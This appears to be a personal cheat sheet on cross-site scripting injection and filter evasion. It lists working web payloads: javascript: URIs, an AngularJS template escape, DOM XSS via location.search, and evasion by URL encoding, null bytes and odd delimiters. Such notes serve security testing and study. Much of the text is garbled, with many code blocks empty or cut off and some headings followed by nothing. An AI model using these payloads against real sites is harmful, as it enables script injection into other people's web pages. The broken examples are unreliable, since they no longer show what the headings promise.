## XSS Injection Technique & Evasion Always try to enter DUM texte (ABC123) in parameters and in search query. Simply search on the page if this is reflected anywhere! - `Website.com//feedback?returnPath=/ABC123` - Search Query Content Security Policy (CSP) - If you seem able to bypass some filter but cant get any popup, try diffrent event (onmouseover, onload, ...) and also try different variations of the script tag or evasion (javascript:, ``, ...) ``` Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self'; ``` Type ```

javascript:alert(%27xss%27) ``` IMG ```Terminal

``` href ``` href="javascript:alert(1)" ``` DOM ``` location.search ---> Search in the URL for a parameter write.document ---> This will write to the HTML (Adding something depending on the code) ``` - How to exploit: If you have a variable fetching for ID in the URL and then pasting this value to the HTML, you can create a DOM XSS Other JS Language ``` # AngularJS ---> Interested in the ng-app {{$on.constructor("alert(1)")()}} ---> Explained Below ``` - AngularJS - the JavaScript `constructor` function to create a new object with a specified function as its `constructor` attribute. The function being passed to the `constructor` attribute is an `alert` function that displays a message. The code then calls the object using the `()` operator, causing the `alert` function to be executed. PS: We can see the code on the page once it is executed ## Evasion Encoding ``` urlencode "http://example.com/?param=linux+url+encoder" ... ---> %3Cscript%3EEncoding%3C%2Fscript%3E ``` - urlencode ---> Tool to encode url (Possible to encode many times) Basic Modification ```Terminal #Encoded tabs/newlines/CR alert(1) alert(1) alert(1) #Capital letters #If angle brackets are encoded -alert(1)- ---> (-) replace (> or <) ``` Adding Nullbytes ```Terminal <%00script>alert(1) alert(1) ``` Attributes and Tags ```Terminal

#Backticks #Encoded backtics #Double use of delimiters < #Unknown delimiters «input onsubmit=alert(1)» ``` Oval () ```Terminal ``` Word Filter (If some javascript element is filtered) ```Terminal might become ``` All Information ---> https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html